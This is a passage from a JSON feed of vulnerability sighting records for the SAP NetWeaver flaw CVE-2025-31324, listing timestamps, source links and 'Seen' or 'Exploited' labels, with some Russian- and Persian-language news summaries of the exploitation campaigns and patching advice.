\u043f\u043e\u0441\u043b\u0435 \u0432\u0437\u043b\u043e\u043c\u0430 \u0441\u0438\u0441\u0442\u0435\u043c \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432.\n\n\u041f\u0440\u0438\u0447\u0435\u043c \u0432\u0441\u0435 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u044b \u0431\u044b\u043b\u0438 \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b, \u0447\u0442\u043e \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 0-day \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442.\n\n\u0426\u0435\u043b\u044f\u043c\u0438 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438 \u0441\u0442\u0430\u043b\u0438 \u043f\u0440\u0435\u0434\u043f\u0440\u0438\u044f\u0442\u0438\u044f \u0433\u0430\u0437\u0430 \u0438 \u0432\u043e\u0434\u043e\u0441\u043d\u0430\u0431\u0436\u0435\u043d\u0438\u044f, \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043e\u0442\u0445\u043e\u0434\u0430\u043c\u0438 \u0432 \u0412\u0435\u043b\u0438\u043a\u043e\u0431\u0440\u0438\u0442\u0430\u043d\u0438\u0438, \u0437\u0430\u0432\u043e\u0434\u044b \u043f\u043e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0443 \u043c\u0435\u0434\u0442\u0435\u0445\u043d\u0438\u043a\u0438, \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u0432 \u0441\u0444\u0435\u0440\u0435 \u0422\u042d\u041a \u0421\u0428\u0410, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043f\u0440\u0430\u0432\u0438\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0435 \u0443\u0447\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u044f \u0432 \u0421\u0430\u0443\u0434\u043e\u0432\u0441\u043a\u043e\u0439 \u0410\u0440\u0430\u0432\u0438\u0438 \u0432 \u0441\u0444\u0435\u0440\u0435 \u0444\u0438\u043d\u0430\u043d\u0441\u043e\u0432.\n\n\u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u044b \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u044b \u043d\u0430 \u043e\u0431\u0449\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u043c \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u043e\u043c \u0432 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u043c\u043e\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435 (\u00ab15.204.56[.]106\u00bb), \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043b \u0436\u0443\u0440\u043d\u0430\u043b\u044b \u0441\u043e\u0431\u044b\u0442\u0438\u0439, \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u044e\u0449\u0438\u0435 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0432 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445:\n\n- CVE-2025-31324-results.txt, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u043e\u0442\u043c\u0435\u0447\u0435\u043d\u043e 581 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u043e\u0432 SAP NetWeaver \u0438 \u0431\u044d\u043a\u0434\u043e\u0440 \u0441 \u0432\u0435\u0431-\u043e\u0431\u043e\u043b\u043e\u0447\u043a\u043e\u0439;\n- \u670d\u52a1\u6570\u636e_20250427_212229.txt, \u0432 \u043d\u0435\u043c \u043f\u0435\u0440\u0435\u0447\u0438\u0441\u043b\u0435\u043d\u043e 800 \u0434\u043e\u043c\u0435\u043d\u043e\u0432, \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0438\u0445 \u043f\u043e\u0434 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c SAP NetWeaver, \u043a\u043e\u0442\u043e\u0440\u044b\u0435, \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e, \u0431\u0443\u0434\u0443\u0442 \u0430\u0442\u0430\u043a\u043e\u0432\u0430\u043d\u044b \u0432 \u0431\u0443\u0434\u0443\u0449\u0435\u043c.\n\n\u0420\u0430\u043d\u0435\u0435 \u0430\u0442\u0430\u043a\u0438 \u0442\u0430\u043a\u0436\u0435 \u0431\u044b\u043b\u0438 \u0437\u0430\u043c\u0435\u0447\u0435\u043d\u044b \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c\u0438 watchTowr \u0438 Onapsis, \u0430 Vedere Labs \u0438\u0437 Forescout \u0441\u0432\u044f\u0437\u0430\u043b\u0438 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0437 \u044d\u0442\u0438\u0445 \u0430\u0442\u0430\u043a\u00a0\u0441 \u043a\u0438\u0442\u0430\u0439\u0441\u043a\u0438\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c Chaya_004, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043b SuperShell \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 Go.\n\nEclecticIQ \u0441\u0432\u044f\u0437\u044b\u0432\u0430\u0435\u0442 \u0432\u0442\u043e\u0440\u0436\u0435\u043d\u0438\u044f \u0441 \u043a\u0438\u0442\u0430\u0439\u0441\u043a\u0438\u043c\u0438 \u043a\u043b\u0430\u0441\u0442\u0435\u0440\u0430\u043c\u0438 \u0443\u0433\u0440\u043e\u0437, \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u044b\u043c\u0438 \u043a\u0430\u043a\u00a0UNC5221, UNC5174 \u0438 CL-STA-0048.\n\n\u0412 Onyphe \u0442\u0430\u043a\u0436\u0435 \u0432\u044b\u044f\u0441\u043d\u0438\u043b\u0438, \u0447\u0442\u043e \u043f\u043e \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u044e \u043d\u0430 \u043a\u043e\u043d\u0435\u0446 \u0430\u043f\u0440\u0435\u043b\u044f \u043f\u0440\u0438\u043c\u0435\u0440\u043d\u043e 20 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0439 \u0438\u0437 \u0441\u043f\u0438\u0441\u043a\u0430 Fortune 500/Global 500 \u0431\u044b\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u044b, \u0430 \u043c\u043d\u043e\u0433\u0438\u0435 \u0434\u0430\u0436\u0435  \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u044b.\n\n\u0412 \u043e\u0431\u0449\u0435\u043c \u043d\u0430 \u0442\u043e\u0442 \u043c\u043e\u043c\u0435\u043d\u0442 \u0432 \u0441\u0435\u0442\u0438 \u0431\u044b\u043b\u043e \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043e 1284 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u0430, 474 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0443\u0436\u0435 \u0431\u044b\u043b\u0438 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u044b.\n\n\u0412 \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0435\u0435 \u0432\u0440\u0435\u043c\u044f Shadowserver Foundation \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442 \u0431\u043e\u043b\u0435\u0435 2040 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 SAP Netweaver, \u0440\u0430\u0437\u043c\u0435\u0449\u0435\u043d\u043d\u044b\u0445 \u0432 \u0418\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0435 \u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0434\u043b\u044f \u0430\u0442\u0430\u043a.\n\n\u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e SAP \u043d\u0435 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044e CVE-2025-42999 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445, \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 Onapsis \u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043b\u0438, \u043a\u0430\u043a \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u044f\u043b\u0438 \u043e\u0431\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 (CVE-2025-31324 \u0438 CVE-2025-42999) \u0432 \u0430\u0442\u0430\u043a\u0430\u0445 \u0435\u0449\u0435 \u0441 \u044f\u043d\u0432\u0430\u0440\u044f.\n\n\u042d\u0442\u0430 \u043a\u043e\u043c\u0431\u0438\u043d\u0430\u0446\u0438\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u043b\u0430 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0438 \u0431\u0435\u0437 \u043a\u0430\u043a\u0438\u0445-\u043b\u0438\u0431\u043e \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435.\n\n\u0410\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u043c SAP \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043d\u0435\u043c\u0435\u0434\u043b\u0435\u043d\u043d\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u0441\u0432\u043e\u0438 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u044b NetWeaver \u0434\u043e \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0439 \u0432\u0435\u0440\u0441\u0438\u0438 \u0438 \u0440\u0430\u0441\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u0441\u043b\u0443\u0436\u0431\u044b Visual Composer, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0441\u043b\u0443\u0436\u0431\u0430\u043c \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u043c\u0435\u0442\u0430\u0434\u0430\u043d\u043d\u044b\u0445 \u0438 \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0442\u044c \u043f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u0443\u044e \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c.", "url": "https://t.me/true_secator/7029"}, {"timestamp": "2025-05-14T14:48:23.025Z", "date_only": false, "value": "2025-05-14T14:48:23.025419Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/exwifenews.bsky.social/post/3lp5alzhlj42j", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "a6ecb170-6116-4f83-a7ec-b2648de5a2e6", "url": "https://bsky.app/profile/exwifenews.bsky.social/post/3lp5alzhlj42j"}, {"timestamp": "2025-05-14T17:01:38.716Z", "date_only": false, "value": "2025-05-14T17:01:38.716102Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/leekthehack.bsky.social/post/3lp5i2agp5s2j", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "de4cf649-1528-47da-86c2-eb3097f0aa2c", "url": "https://bsky.app/profile/leekthehack.bsky.social/post/3lp5i2agp5s2j"}, {"timestamp": "2025-05-14T17:01:39.238Z", "date_only": false, "value": "2025-05-14T17:01:39.238145Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/leekthehack.bsky.social/post/3lp5i2c3qgc2j", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "c42519ee-4c8a-42fa-ae92-fd19f12c796e", "url": "https://bsky.app/profile/leekthehack.bsky.social/post/3lp5i2c3qgc2j"}, {"timestamp": "2025-05-14T17:57:40.219Z", "date_only": false, "value": "2025-05-14T17:57:40.219959Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/nimblenerd.social/post/3lp5l6i2gy52s", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "1cedd649-27e9-4bbb-95c7-f288879c97f7", "url": "https://bsky.app/profile/nimblenerd.social/post/3lp5l6i2gy52s"}, {"timestamp": "2025-05-14T19:52:47Z", "date_only": false, "value": "2025-05-14T19:52:47.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/thehackernews/6837", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "5490f447-91b3-435c-981b-cc437959acfa", "content": "\ud83d\udd25 Two ransomware gangs\u2014BianLian and RansomExx\u2014are now exploiting a critical SAP flaw (CVE-2025-31324).\n\nThey\u2019re not alone. Nation-state hackers are in the mix too.\n\nOne exploit. Full system access.\n\n\ud83d\udd17 Read the full breakdown: https://thehackernews.com/2025/05/bianlian-and-ransomexx-exploit-sap.html", "url": "https://t.me/thehackernews/6837"}, {"timestamp": "2025-05-14T20:32:43.754Z", "date_only": false, "value": "2025-05-14T20:32:43.754220Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/pigondrugs.bsky.social/post/3lp5ttrjui62e", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "d7dcedfb-dc7b-41a7-b6f7-ca81feaff0a7", "url": "https://bsky.app/profile/pigondrugs.bsky.social/post/3lp5ttrjui62e"}, {"timestamp": "2025-05-14T22:17:52.805Z", "date_only": false, "value": "2025-05-14T22:17:52.805805Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/ajsdecepida.bsky.social/post/3lp5zpquszc2h", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "5afb982d-e819-4f0f-b24f-c7653c42b3b0", "url": "https://bsky.app/profile/ajsdecepida.bsky.social/post/3lp5zpquszc2h"}, {"timestamp": "2025-05-14T22:17:53.824Z", "date_only": false, "value": "2025-05-14T22:17:53.824008Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/ajsdecepida.bsky.social/post/3lp5zpquyus2h", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "2e5fcf41-8103-48cc-b8e7-5ea0a553a59f", "url": "https://bsky.app/profile/ajsdecepida.bsky.social/post/3lp5zpquyus2h"}, {"timestamp": "2025-05-14T22:17:54.844Z", "date_only": false, "value": "2025-05-14T22:17:54.844753Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/ajsdecepida.bsky.social/post/3lp5zpquzu22h", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "d26c9dc4-d45b-4e8f-a1ff-6219187335fe", "url": "https://bsky.app/profile/ajsdecepida.bsky.social/post/3lp5zpquzu22h"}, {"timestamp": "2025-05-14T23:42:20.062Z", "date_only": false, "value": "2025-05-14T23:42:20.062913Z", "kind": "sighting", "label": "Seen", "source": "https://infosec.exchange/users/patrickcmiller/statuses/114508833699354496", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "e5c5767a-62f6-404a-a340-1337b05e11ca", "url": "https://infosec.exchange/users/patrickcmiller/statuses/114508833699354496"}, {"timestamp": "2025-05-15T00:00:00Z", "date_only": false, "value": "2025-05-15T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-05-15)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "beb355ce-702d-4131-9536-c063af60a6a1"}, {"timestamp": "2025-05-15T02:16:26.665Z", "date_only": false, "value": "2025-05-15T02:16:26.665645Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3lp6h2f5pkh2w", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "d62701c8-ad63-40ed-8a33-268347c0fc08", "url": "https://bsky.app/profile/pmloik.bsky.social/post/3lp6h2f5pkh2w"}, {"timestamp": "2025-05-15T04:42:10.051Z", "date_only": false, "value": "2025-05-15T04:42:10.051808Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/patrickcmiller.bsky.social/post/3lp6p6x4znk2s", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "9b29c901-e5b1-4a63-b3a3-167ff5385623", "url": "https://bsky.app/profile/patrickcmiller.bsky.social/post/3lp6p6x4znk2s"}, {"timestamp": "2025-05-15T08:33:31.962Z", "date_only": false, "value": "2025-05-15T08:33:31.962816Z", "kind": "sighting", "label": "Seen", "source": "https://poliverso.org/objects/0477a01e-287bc985-b46a6cfdc4b904fd", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "614b7f66-f1b5-447d-b5bf-ae471f5a1257", "url": "https://poliverso.org/objects/0477a01e-287bc985-b46a6cfdc4b904fd"}, {"timestamp": "2025-05-15T14:36:27.011Z", "date_only": false, "value": "2025-05-15T14:36:27.011714Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/nimblenerd.social/post/3lp7qfliu5l2x", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "691e7342-d514-4e80-b088-c3063b6071ef", "url": "https://bsky.app/profile/nimblenerd.social/post/3lp7qfliu5l2x"}, {"timestamp": "2025-05-15T15:02:50Z", "date_only": false, "value": "2025-05-15T15:02:50.000000Z", "kind": "sighting", "label": "Seen", "source": "https://www.darkreading.com/vulnerabilities-threats/critical-sap-netweaver-vuln-cyberattacks", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "3a20a51f-d7d2-4e29-adb6-247f7a8bba71", "url": "https://www.darkreading.com/vulnerabilities-threats/critical-sap-netweaver-vuln-cyberattacks"}, {"timestamp": "2025-05-15T18:40:53Z", "date_only": false, "value": "2025-05-15T18:40:53.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/ics_cert/1155", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "acf12099-8361-4b31-9674-495e611a90fd", "content": "\u0634\u0631\u06a9\u062a SAP \u0648\u0635\u0644\u0647\u200c\u0647\u0627\u06cc\u06cc \u0631\u0627 \u0628\u0631\u0627\u06cc \u0631\u0641\u0639 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u062f\u0648\u0645 \u06a9\u0647 \u062f\u0631 \u062d\u0645\u0644\u0627\u062a \u0627\u062e\u06cc\u0631 \u0628\u0647 \u0633\u0631\u0648\u0631\u0647\u0627\u06cc SAP NetWeaver \u0628\u0647 \u0639\u0646\u0648\u0627\u0646 \u06cc\u06a9 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0631\u0648\u0632 \u0635\u0641\u0631 \u0645\u0648\u0631\u062f \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0642\u0631\u0627\u0631 \u06af\u0631\u0641\u062a\u0647 \u0628\u0648\u062f\u060c \u0645\u0646\u062a\u0634\u0631 \u06a9\u0631\u062f.\n\n\u0627\u06cc\u0646 \u0634\u0631\u06a9\u062a \u0631\u0648\u0632 \u062f\u0648\u0634\u0646\u0628\u0647 \u0628\u0647\u200c\u0631\u0648\u0632\u0631\u0633\u0627\u0646\u06cc\u200c\u0647\u0627\u06cc\u06cc \u0628\u0631\u0627\u06cc \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u062c\u062f\u06cc\u062f CVE-2025-42999 \u0645\u0646\u062a\u0634\u0631 \u06a9\u0631\u062f\u060c \u067e\u0633 \u0627\u0632 \u0622\u0646\u06a9\u0647 \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u062f\u0631 \u062c\u0631\u06cc\u0627\u0646 \u062a\u062d\u0642\u06cc\u0642\u0627\u062a \u0645\u0631\u0628\u0648\u0637 \u0628\u0647 \u062d\u0645\u0644\u0627\u062a \u0631\u0648\u0632 \u0635\u0641\u0631 \u06a9\u0647 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0622\u067e\u0644\u0648\u062f \u0641\u0627\u06cc\u0644 \u063a\u06cc\u0631\u0645\u062c\u0627\u0632 \u062f\u06cc\u06af\u0631\u06cc ( CVE-2025-31324 ) \u0631\u0627 \u062f\u0631 SAP NetWeaver Visual Composer \u06a9\u0647 \u062f\u0631 \u0645\u0627\u0647 \u0622\u0648\u0631\u06cc\u0644 \u0648\u0635\u0644\u0647 \u0634\u062f\u0647 \u0628\u0648\u062f\u060c \u0647\u062f\u0641 \u0642\u0631\u0627\u0631 \u0645\u06cc\u200c\u062f\u0627\u062f\u0646\u062f\u060c \u06a9\u0634\u0641 \u0634\u062f.\n\nReliaQuest \u0627\u0648\u0644\u06cc\u0646 \u0628\u0627\u0631 \u062f\u0631 \u0645\u0627\u0647 \u0622\u0648\u0631\u06cc\u0644 \u062d\u0645\u0644\u0627\u062a\u06cc \u0631\u0627 \u06a9\u0634\u0641 \u06a9\u0631\u062f \u06a9\u0647 CVE-2025-31324 \u0631\u0627 \u0647\u062f\u0641 \u0642\u0631\u0627\u0631 \u0645\u06cc\u200c\u062f\u0627\u062f\u0646\u062f.\n\n\u0633\u067e\u0633 \u0645\u0647\u0627\u062c\u0645\u0627\u0646 \u067e\u0633 \u0627\u0632 \u0647\u06a9 \u06a9\u0631\u062f\u0646 \u0633\u06cc\u0633\u062a\u0645\u200c\u0647\u0627\u06cc \u0645\u0634\u062a\u0631\u06cc\u0627\u0646 \u060c JSP web wrappers \u0631\u0627 \u062f\u0631 \u062f\u0627\u06cc\u0631\u06a9\u062a\u0648\u0631\u06cc\u200c\u0647\u0627\u06cc \u0642\u0627\u0628\u0644 \u062f\u0633\u062a\u0631\u0633 \u0639\u0645\u0648\u0645 \u0622\u067e\u0644\u0648\u062f \u06a9\u0631\u062f\u0646\u062f \u0648 \u0627\u0632 \u0627\u0628\u0632\u0627\u0631 \u062a\u06cc\u0645 \u0642\u0631\u0645\u0632 Brute Ratel \u0646\u06cc\u0632 \u0628\u0647\u0631\u0647 \u0628\u0631\u062f\u0646\u062f.\n\n\u0639\u0644\u0627\u0648\u0647 \u0628\u0631 \u0627\u06cc\u0646\u060c \u062a\u0645\u0627\u0645 \u0646\u0645\u0648\u0646\u0647\u200c\u0647\u0627\u06cc \u0622\u0633\u06cc\u0628\u200c\u062f\u06cc\u062f\u0647 \u0628\u0647\u200c\u0637\u0648\u0631 \u06a9\u0627\u0645\u0644 \u0648\u0635\u0644\u0647 \u0634\u062f\u0646\u062f \u06a9\u0647 \u0646\u0634\u0627\u0646 \u0645\u06cc\u200c\u062f\u0647\u062f \u0645\u0647\u0627\u062c\u0645\u0627\u0646 \u0627\u0632 \u06cc\u06a9 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0631\u0648\u0632 \u0635\u0641\u0631 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0631\u062f\u0647\u200c\u0627\u0646\u062f.\n\n\u0627\u0647\u062f\u0627\u0641 \u0627\u06cc\u0646 \u06a9\u0645\u067e\u06cc\u0646 \u0634\u0627\u0645\u0644 \u0634\u0631\u06a9\u062a\u200c\u0647\u0627\u06cc \u06af\u0627\u0632 \u0648 \u0622\u0628\u060c \u0634\u0631\u06a9\u062a\u200c\u0647\u0627\u06cc \u0645\u062f\u06cc\u0631\u06cc\u062a \u067e\u0633\u0645\u0627\u0646\u062f \u062f\u0631 \u0628\u0631\u06cc\u062a\u0627\u0646\u06cc\u0627\u060c \u062a\u0648\u0644\u06cc\u062f\u06a9\u0646\u0646\u062f\u06af\u0627\u0646 \u062a\u062c\u0647\u06cc\u0632\u0627\u062a \u067e\u0632\u0634\u06a9\u06cc\u060c \u0634\u0631\u06a9\u062a\u200c\u0647\u0627\u06cc \u0627\u0646\u0631\u0698\u06cc \u0622\u0645\u0631\u06cc\u06a9\u0627\u06cc\u06cc \u0648 \u0633\u0627\u0632\u0645\u0627\u0646\u200c\u0647\u0627\u06cc \u062f\u0648\u0644\u062a\u06cc \u062f\u0631 \u0628\u062e\u0634 \u0645\u0627\u0644\u06cc \u062f\u0631 \u0639\u0631\u0628\u0633\u062a\u0627\u0646 \u0633\u0639\u0648\u062f\u06cc \u0628\u0648\u062f.\n\n\u0646\u062a\u0627\u06cc\u062c \u0628\u0631 \u0627\u0633\u0627\u0633 \u06cc\u06a9 \u062f\u0627\u06cc\u0631\u06a9\u062a\u0648\u0631\u06cc \u0642\u0627\u0628\u0644 \u062f\u0633\u062a\u0631\u0633\u06cc \u0639\u0645\u0648\u0645\u06cc \u0627\u0633\u062a \u06a9\u0647 \u062f\u0631 \u0632\u06cc\u0631\u0633\u0627\u062e\u062a \u062a\u062d\u062a \u06a9\u0646\u062a\u0631\u0644 \u0645\u0647\u0627\u062c\u0645 \u06cc\u0627\u0641\u062a \u0634\u062f\u0647 \u0627\u0633\u062a (\"15.204.56[.]106\") \u06a9\u0647 \u0634\u0627\u0645\u0644 \u06af\u0632\u0627\u0631\u0634\u200c\u0647\u0627\u06cc \u0631\u0648\u06cc\u062f\u0627\u062f \u062b\u0628\u062a \u0641\u0639\u0627\u0644\u06cc\u062a \u062f\u0631 \u0686\u0646\u062f\u06cc\u0646 \u0633\u06cc\u0633\u062a\u0645 \u0622\u0633\u06cc\u0628\u200c\u062f\u06cc\u062f\u0647 \u0627\u0633\u062a:\n\n- CVE-2025-31324-results.txt\u060c \u06a9\u0647 \u06f5\u06f8\u06f1 \u0646\u0645\u0648\u0646\u0647 SAP NetWeaver \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631 \u0648 \u06cc\u06a9 \u062f\u0631\u0628 \u067e\u0634\u062a\u06cc \u067e\u0648\u0633\u062a\u0647 \u0648\u0628 \u0631\u0627 \u0634\u0646\u0627\u0633\u0627\u06cc\u06cc \u06a9\u0631\u062f.\n- SAP NetWeaver_20250427_212229.txt \u06a9\u0647 \u0641\u0647\u0631\u0633\u062a\u06cc \u0627\u0632 \u06f8\u06f0\u06f0 \u062f\u0627\u0645\u0646\u0647\u200c\u06cc \u062f\u0627\u0631\u0627\u06cc SAP NetWeaver \u0631\u0627 \u06a9\u0647 \u0627\u062d\u062a\u0645\u0627\u0644\u0627\u064b \u062f\u0631 \u0622\u06cc\u0646\u062f\u0647 \u0645\u0648\u0631\u062f \u062d\u0645\u0644\u0647 \u0642\u0631\u0627\u0631 \u062e\u0648\u0627\u0647\u0646\u062f \u06af\u0631\u0641\u062a\u060c \u0627\u0631\u0627\u0626\u0647 \u0645\u06cc\u200c\u062f\u0647\u062f.\n\n\u0627\u06cc\u0646 \u062d\u0645\u0644\u0627\u062a \u0642\u0628\u0644\u0627\u064b \u062a\u0648\u0633\u0637 \u0645\u062d\u0642\u0642\u0627\u0646 watchTowr \u0648 Onapsis \u0646\u06cc\u0632 \u0645\u0634\u0627\u0647\u062f\u0647 \u0634\u062f\u0647 \u0628\u0648\u062f\u0646\u062f \u060c \u0648 